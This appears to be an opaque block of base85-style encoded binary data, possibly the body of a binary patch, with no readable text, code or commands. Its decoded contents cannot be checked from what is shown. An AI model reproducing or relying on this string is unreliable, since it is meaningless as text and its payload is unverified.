zoFC2Ui(GHjDw0LRK+4eNoUpKGX?CK@?9;G@6=~`Y=FS*v6>zdGKICBD)0_&D*4tzy z1wT*iXfhRr5K`zqCo8A8R$w~SZJ?f1uV~1Avo@73R?R3c_Wa^rG5V(>nqHf{3{s-{ zqUqAWMt)Ud)3#l~O$gCTf?koW1{CUEG_|rE2E~25y!#Xr+_Xh5$F%jpx`Qwe)TcZ+ z0Ghl6uWoi#1aql?!7}9FgQ8~Sz}Ady?B1VZ{&XUU(I3|;4FlCTFcr(Yv zlF`#yI@u8!EoJhh)|5XuXVAJLM=KQG9k+!fXDdV_0!2d|aTnG;;Yhh)jfAW;iKGDG zaFo1+J|>Y=)mIC<0*($8@m`3!{OPopQLIKRIbtw#HJxT+V+s(OAQ2#9ZwW0ZV?Gk)n|8PM>C_@niOwc|v{-Mo>f zd|ia{6C9b^^p1V(ybLi}uX7d*_X*Y}%9t?kQ4n;vIP`;(o={9B4;`*ad_r!D6O)3> zfSIzEEQ7?A$rZw7@I4|JioH@^tci%TLiGt3IOZ2^j!Pw39)c73k==kKKY2yMiI8Qs zLtB){{+A;467f&+qWkx=2}gJ6LER&7i|1KyP(Zk{gG(QEXQb-bVkCmxeR)i zqw=Vks2;GPeOmckH?@P13chJH9GdTO0T4=B```J#AH}3C%Vkazn0tBFE0OaLu^C~Z z;c8il%&hs$GkO2i!ALXN8`Z)ysEjuUE|qXbCe&@ zNM}Qfin0;yr!<+bqE4Bi@MK@$8wMYobKrkx%JDkigCHPQ%M10iCoBY!omD<6ONte$ z0RFs##WY5QcSXV$*ge9|vFs$_WNdZg4_GAQkXMi5-;^(zl;F_S```Cq`OJYYw zR;n^ox9qlK2chNkN1KS}M6FZ->H}`<;D4%KWxiqIvdUICzT;SBGQ40A;vHgk!E3|4 zutu=cSe>{ta=-KJHjfjRg9Z;3!hms+;+j0MNK!1022e??3fa)>{ppa)VQ(nudWqtV zEQn3V;Pjzb#X{~lW6()ICD)NlpVUuSEHC~ z07L3UlGy(Lh;|kKFVSw^(G!?TVcCb;sGha?`FS2Eb!h^odOoap8D(q@_j4GW+$YoG zQc_Z7N~VpjnwkU%xKjUzj=)S-9-xoP0CjaL_%=*o(0Bg?I#Sn8wDg0)K66J<3;{#X z>_Fm=c>05_VdV%96+AEa9-cgehZ{Q#C=tj?=N+f_+fI%I7dGP)71aQm3Iq{`RgBB^ zK=eS<_J9Z$;sh=|l?v>a4%`aDN(MSz&n82D{nQ~Lo#@pqc<}_r090YJ=k^{1P!weg zr<-bkF2<`0c~s+m8}UM{BstWB-WY~{uwoB*@8t%;#eaW%`1`Du9u?id6UTfYwyeVhwwT8;AwjrPk` zg-;0OE1<(EvgYMuFV>&2Y){p3v%EXj)DVK3#=aB<=VhBAVS!okoXq#5YZglEzqO-0 zDqvxt6+iKgn;MZ(h|i`x=%01fi>IZxcIbY!4#i%sA#n7~+u28uFwOUsT*bj@0l47cPWn|VRdaTn zi5Q$;1a054$^KSqzia$D!pN=G{uUG2e&G@7*2FUd{9a7`pE4cz4nI*A3gb#LWw&0z z%yQMbUvW3$Tn}I-GP)LkAQ2n*(Eb5YhiW0_pC74|tPWy(jK6!ZF ztIMt6o4t3+yX^@XsfBtW9BTyTqrUhn>+t9G!^v|N4w5b$7gsn#ir-4uQ~3ESxv%OV z1yvf`D$b+S1{xdTQzQSS1;~|rN8UuyKh#Ucgjrwx`c5T@sSajiEUOqni?$5WmY|16 z^@S!CFc66kuu#1=#a2|^dAsBx4VTW&hoIt|N&+3lwz~wX%av&2^vQ(uD{ZsuqMEsY z0mFmhcQXI1<6A9D@@~Jf7+phE=A1jEUfbe)J1J}0-i zh9w-+07I>(A>V}hk0yP6#dFH@qGm@2TIJ1qfA4^P1-FZO#s0b{>SBK&-QjNPTgA~< zv>a!9-44}`IEp{LO~l6CJ^B+Jx9bP!LN(%2M#vIv&=XtisgW)|vS0Li7H2K(h>11g zR3bF=%akHJ<=X42Vc|DtBXTG{ecoy*rM{Rv@FtP&+s`wN9ruglwnaPL)IFF5YOn%$ z|5iYweK_hLN*cx|LmX|WO1M!7?xy~=H!2^X_|?OD&j%;O`B|Ef<0*JsyolNIy+paS zjLw$7;5ebIh#nLtnM@r`G^?%#52^=rcDF7w=oZ1axtE2yirKSna+8l)fNMk*9`QC| z(?VL5gq!zPW;3d^6-DfNc74C$sK=j`-+c0PyQq7j63xY;8M{uY+(7Eeo034=yS$TG z^|g9BGH!~fpJIBSs!6*9L%;a?K;GK^RPjNHQmKu_1Q_yc58Ll_jvnUvic@EmZG~9_ zWVwlYjl{ULK!`qv`<~?5`ECYkv9gK2Pf3`a9Is-xvWLoM_6y*7QD_R^yf|En1KK8} zWY62!8Q{M3Jg>Lh!GtsuqhT2){F)GhfidLhCKVNXS3wRy{YxP|=&V_Ci-wn_|bzxP1wYPBI zH(SC&2;7BzmKat$-s>M>p=*#w)zmbk*uVqha6Y@iAUAP1o<#Qz2*(`5zW}3vUHAly zqUrskTL7atyF~0m-{D5hDGQ%t>uX79@XWrgx_#~n_7M%hkr-Sp1yljVR_gUBp;#^B z1$58X?3DI#RaCBXFiVk%)LG$QM31}!vvSL@iR~F2H{D3bhYzdDJlE%fD;fFwH_h2r z8pU;Y+@`Xw=ra-SYl25>nZnC+O{*g`8P3kT$;Qp;Xf^2qfqNq(G(@(quJiMp1i5RJcEj6IHZvzKNiSK$Wx_v&y8ronJweJP`?U6Rnj6=hU5H zUO-_6w-*9z1Nu!D^O#nHxu{)v>GBToo}Tyw-=v8pS(M;}?71)TQ6KCSHsY3|!P5cy z<4}zOl7_h)8Eml${mrvVxf7D<6xY(6EY6U%JbX!ty)N$pumkJM6q>x05J^)4ivZ^U zEyiwmy|t?ej@`{0nUROMFu@B08O0*JqxL8*Pmj!R=e`nR7p=W*gHn+jrP3ECG1xR; zsJjv%6P$`Z&b$n88v`ziH20bv`mpzm*htG4=)&5CTeM6x-{X`hIC1cOrHwSTL zC7p4Y`TXJ6q8P>S*eH8?y-nC8u=UN|!$AWHd#64)&`n%>QttQcI39|zAJS_YdF-Y7 zY!M0-j_s`aUiI5%Z43nwj6WhiF=zS227F9sB}}Xn^Z*Q!GoRs4IEYaGK9=n7t1I~Uo%c?PRxaV=%b6!Ulx>E#zHU}(^}i3@3gQagw>>I4J)e1762etqS8Y* z%D%OKHoU#xlJl7Gc(cJ{s> z-|9GvZEE{-BFasK39SkQ?puV6P70(S-i*!l1h~jJ58S_fSsSm$e^g_vUrXS5E{(!+K==*J;W zqy8cC0_NMu&quE#1_&rk=uIXPlW7-dOaHU~J3>(6fbuzFKF^;Y95MOSg{Yl1WM zmnPkLZPZ_ySY6u|=i+2j&+Br25B*fvwaxPR$AN*wd}Gi%)6JyFs4wAOp*FI7{dRms ztMQYBLoa6ZCYz#0Y_@FJ-4T-#QSIuwrX2&nChe?bQiCN6I@KpA6)=ws^`px|H?Gj0JG_4vjf}x)~{HGcYW^ zY-RL#H_%+Lc|Tz`hj2e+ZSh;1N?i)#rmpK%w{<#G^tWVq_I37EI;#*viW;3E$ms%B z`({c+y#DmrNx^#O2Fq39gV=FYT_xf`-9=8@Vfb8(M?AwLrGap4TLQ`!m?vv{(^Y{s}Mh5LyzO%_>jHhEMMp!SR&Hp zd0hT#(&bZ5B$Li%Ak{rjV7(evb0I4K9XNfrJ*RSfwh?jD{M5BQN=hHBny7WLaEZSS zV})g40jui1Z^3!uBxP;?sABKciiVgH5jn?lJ?{d&jOGu_@dKk`E!&Vm%r^vC%9t=Qj}oV2rHCbiC5UL^)J+HB#64~}@#ri1B;{)>>zB5q~OP*Tplj0Z}} z)eTrf=&A?4bDN70`a>>%GipjM99G}l5(XXkeR$p)Z*6Ra;OlS^u2NG)&oq%#Ia89O zYIVTFQp}mIm=fY5dT9PzwP(2Mv~zm`B4CH5X@^HsKRx@`pDh)waQdbYAP}{L|Tlq9*y-7$v6K$YBSPchOgirvUvD>xRb5Pf zCm^{n?fNW2n1^+|u$5n7lTrzB&4&(MDAW^4E(p&a7#%*yz%CtMp*4*M5uY-uKW2hO zwMWk$R8bcTsgJPX7Un-ouQ3)$cN1BT9JHAOOoX)K6AjsYmBy#b302EcT4`hgk%>2H z@e$L1C%O7;cea!HpP@`&lGkZ?O?BP0zbIk$Z?`R$dbQP3Us5pB$70vAt(2MQ zdO)6&_CchX#!to#>+)`_J(&BMqkp*9-L=>+;8!|R84x_S3alQ(uu6f6(dArRLP;+V zln0z+GqaF0s~-7EZSmwTK6E>tvRUbEL-fxD^yH@FoFBsl%d=;-gM6pU22g%6m?Doelq zL!8iD`)Yy;Ql}@51M$N7b9a4%=SpOVf%`*5H=mw3EakToF<)fso6D&*q>tc@1z^^3 za~ORkg4DBU6Sz6)2cgtIOgkb^{&bbaYut2aqWXBD4v%12_dEAy)~l4HOu}uO9WQ)P z*2^LjctH812UIFR9|pr|z0!jSM^Myg1Jll%0sZ*niDS$|ygMvToJb`lqvlV2F%h<9 ziy>F_QD~6dl#_88D2K>);lF2dfost{;;>@26c^F8pEoWWu4a=vm9Q);#6dmUB(-oq zRe@1;U}l$#WU*b67dAOsGnI(rR)3MnQZ4|g9jFhp8i(*ky3Ab|&+R=R&3ArCbYI;_ z*j_AHbrzbv*qI@h`VcbzYG>z%MFEkP!|m2D=t(`SpZ`6i9u2E4QRcQuF1-ds!kahZ z_OHlth+~p>qVHU0b{w{g#tb#J)c)ABZ;t1xzIEPh(R^FUo-k!n8qxQYSN>>U!+O1Y z_;g-ZY5$$lqLc4gz7{8+8@{-Y$s+#3md5vuzpDFYL!-a4FW>KXb7@A^2Te$_B~0h- zx#ykdwobF9b<)?u-mQ+RFJhf*JS%D7Tb(AOenvUYwR)!odQqQD#i116|*2E%dHvvOQAnEnW8$R?}IHvesK5!vew|GfL_OTV_@ zoKyA}yUF4N=e5Gml>JR4S5Z?+aQT$y5dpq|GMFy>;h@&9hU2?#9pl{_D_Kq$*f1pB zcaj+?Z8{tQ=eg=^)sJ90)a`umEpxMmsN^pRq|UzVy;F2p!YuZgVXP8sN=tL(Sfi;y zMD}}{W_CyuKfGxC#bH87^BH#HIi`?H@RyYrn3iJJF$>HMvtve?`@+UjI$i|T3~(mA zQrHRrYW(v17htTR6Y`^J_bxa`uja9q>f43S!w>RZRm_&l(ESDyL`@3IjL}h1fr79m zbe#1oN6A=(qQ_5_x8zAD{uq;NxGPn_O%%OUG)L3?S^O6fD^pfX#v>NTed3iixJtLe zxBa}fVlC!((><|v!&(5)I9>RwCj;uTu~hJ5vvQBx+e!Md)t%*Od}RdTl6LQaL=j|8 zLccz#P3(c~u)MMJKj!1!IG$sTU8I&1`poWwWY3Wc5#el_(S4h@_rrr;*P5f7Z(~=d zpARO!WR2Z}Q!K(SZkX=TaZ_iUarf$Q9#3vRK?L(2^`4uXQwRZtE3(DL4EL(XL!VEJ zspHK^9$1P#mCKu!n~p2nJ^D3kHtZmF4+tx3t>u%45^K;M{O?{WT=&kz4Ox zws}#V5f9zKrtDy_4+c7Pm|yUI8avG_Zv;@CZ7;jQWrV&%F=uKYI11op{wK9hzP=P< ze?XfCh^$4s$aScSN(21&)mCC`HLRm_6&2J5z8?P%?rfA>0=V;Q*7{1y_y4!~`rLf{ zj4ZPxyM1=C0Iyw11^(e1lT}VV>Ny)*Wk&xAJR`h~jrACvxwzi;#rnr#jmkJ-+#HIr)1o)xz00CPnnk~Q&YMsU zZCBD_aHq$ueZ>Zw`Wa58hrn)X9_HlN5(THU)AsiY@QplHZ6f_Mfc8khEC4U!I8K+TaO#t|6#IX zHAmgEo#b?)Pp|%r1)WD_X_JNX5V5guS+Ep~-gi z!6xV}{4B?K5iAC$%Wa*(%fr_gFAZWYS`g;vj>N`4KP%Rj6uQDKnG3BeLLR8k-GDGy zp#8kFcy{6YlZOKd5q>ciY*BjU3g-DO`?0dvWEEVJwnNhYL(&#Y3?~+8t-{z|e1c%f zVK=sn{)X%T)8gMInc0sDHZrQ9T~?Sl`jKm>Gm2Y7$ zFn!8HLPGIiy5i)g84ZMPt94La&Ho6~G zfHwPOT{^qZ#G&n>wByF<@EuE-3DP^kNuSq_7&CCSQpA?X%c~lNu2Iwt!Q>x7dvI!;L`cGe0a{jQ` zcl3n3UY+|}K^q>2;NIx4P2<)F--sGLGqDK1c2YrenL0UjE@dYL-}%jo`(cNSp<)vG zu0dl<#fB7Vr|CrjLhB-H38N}@z`$Vt3-Bj$(NHQcQc(Sc0)`TM7j2i8 zT=Mu7%796?Y`~1->b|3#i`=J9_G^aAAB5^<1PZcv)jQd8WTh3zgOwMw6ACi<0}pxN zWkMTbRf6 zoCI`o|LN8W;4_T96CuJBX$HPVh&r zJ}(bvkAACEw5fK~d{&=~i7()9B7qODQiLuWK!61Hryvn$Ps{%Zz~9#59jWUdXuzHMrC zZWp0guc#ms7c5Z$fV@uaVNLh-=QoTSFHLxVT5BA-Gu0F@2;X~uyFG2+*&tuECN9wB zfiL9zeOIIP+%7BWEi?rXf7j!o*9{&i8jb13lR#ajeLn702YNR-06Ff_us?OER^0xL zfzGN^hWNVDJ7*ar+lG9=P{o z{BYH$S%KiRwA)V_(`18jH1z|%I51`R1NwO?=36CKd9@AmgVz z9O(tbe0%6{Vu(!#eIeeaao|uYUa~g86~r8NS(>qF5+KnXEzJewoHha;1+1QAREp8@ zyy@2x$!5cvnm(n!fjvx}ZiR@*%^MbfvX=&fIvk@J{tPYI(j(xD%%2f zy{lWI-&7B-H)K|lY6u{_b2v=^APEeM{qi@at800_c8^r!Lo9oe;d7y#G!T8M{bjci zEDfPYInbOVE%|%a9fmNK4F>^R2{B#16zOHbscZudnU})9r1KD6t^uV8s57{a%L= z)M~b_AE&I`_f%wj$E_!eDJR4<9R>12lLi1c=9WX#^$LR84O&+<6N`+1*RegtA!)+I zbc@VbZE1G1*E@yiahPaCdrf|q){-e56C|8HZ_*H*ZaC&1HZ(vp)T{9&>n)qvYd2x! zNg!QZR*MZ5&1DS=qIg=1JJFv;zy7dcW&J%CTc4PIoK*+?csobAIbu7&c>J?&j>}Ci z2FHs5*DN?m_jpy3xNH#aA@bq!-@lZp@g*kz^m-Q&(e5KCw4gT_+NUl6Zc$K14B0uf zJpJq}aG_&oGq+^ptgcn|`(H?cDtvA0R&!($lkFy~!(Q7g4+V&qplMwPL;YPP)fb zRIx#bZ@BQk%u9u)97tR*@JM-6&_oL`n8d-_2~m!pc?1=PoofukHtH$}a#TIv zDk!AEPcMH}-}^X;u5MCp*tYYQ;4E$MZLF3HlBGAz>_5+P?hI3Es;A&3ozZMY!8kKg zqnb5!fDBDZmwKCSV5=_m=b7W6)X2-Gh#%G4dl&-=g`jEPBX(xk=zN3oiS$}U2C5t^;aOCHVPcwbn@91cq z+#1DZ!|ZZQn8q@oE$A(F5_CB1KOoq0F9iSgO<(uS&l{+jkEnW^+1v%Khhi_eDx+Db zbJ#_+>8gs*k!4K@n5^@UkJ%|F^hvHhrNXR|-}15#k3GD710L4N-g#VnkN-4_Z+c1- zTHbWUCW(n{VtBLlX5P0fT6Xb+@*U^h_nQltAgZWDYSu)iV^HUw}K z3#uQX&6bTk@;DYV77S=MZsI+Z2?d>wufX#P8OOQVX@!35O?&c`!P5xE~XgTAWv>Fe=>! zR3<|)AF=d|Oq-N>|BY}$)sSR)g)w#^*1d4Cv53nw=}vR2J`A^4tbzK}SxYY~w;1fQ*@8PV(1WazS_PfLJaBN0SuA zpGpg6x@R_-@(yZX%EWxT&b&Ba(7~uds=R{FT_&WT!Pz_RQ=LFSU3bas3M~GFimuii z_EA^yy^{~V;us3&eT!vRWRmF>if4Q4OGgTMvweY5N-k&Ov2~?02( zqI}|?`>Wv}viG#YWHhf&8dmuti9?C(b0+50wJO4G1kyRxVh+lEvsr)`7<{8y98i45g^B;FwAV7 z+P5y(O~<^hJ~sC{)qLMPC8RtEu5tav7yH1FWSI&?7Iymmls6JNuyVUV%y1sIIq|Iu zZhhVVMlf1Mwr0|l=%Hl-eUCd`+;iOg;Y#WiH3VV(^DU{$eu)D4xEVJ+r8v?<;SE*p z7(l+$f}7&0X!9owJpdBFpEWWcD{_FN=`XgKSqzOhHk$shpebztX+ABawAntJTY1x< zpm5H|BbIZ_MAISM^*EQ1mr7zz{=)srbVHuJC8WHcEgjP9I75X(5^s`n{zpv?$QwV0vV=adYM)0^ zMnI9vAT_A8wEqN{lRBwJ-j(c{bfSp^~p&T<0 zJ+;Er?pi!EFTUlm5#~%6?eQW{3HpQehQ_X%hEX{-a{A>tiyi;5Wxma}bD&DM10o+F zEFX|+R4k%1pEACp1ojl9VJ8Qp#A`pdw|DcX+s06dpTv=L7D;_+cvM*pL=>l)wM1H* zP#&;n+ntF%fH|W)Fut3w4+{(r5Aye?Z?yY`GhmbHg_!SZ}H zyiHuuZIgv^gF7u&EM;6xEWw|@YpXYp;eT}aT%){0pddA4FWZSe33u&$1X&c~SrGr~$*_Thw;B>esqmCGk6>iA1VFdH+F3wRLR~QjH%T>k6+S#b+JU|UrP?~;P z=hxABT`Z>gn!Nm{D#6W>xAx&n-Nw()s&Nfm-W0pD<7&&Zzqdo=7j);oMj#RmQNTfT zh<&$TySxh}HRE-51XWP#l-Atm&xRY(PdvMcbni&Xq$am*EO2DEMr?Cn^}*s6Jqs55 zTv2v?!Cc{8r21DHmA%eqbHgV%IDF?y%2~(T;FmQ1K{=1xss#LQAD9yy;%?>!vU|?i zk^IWjNfUj`#u)jY80G{2{g_9NwS+5@eKy;7iN6ZgGOlQ-itTUUt1J9E+QNAFXf)@P zjlKJOeZ~U!^y5$OCNYt%5o33WUekwDAlnhusKFLB#z(J-hzrhvX9+bRR3K+Gdtx(v zNh?x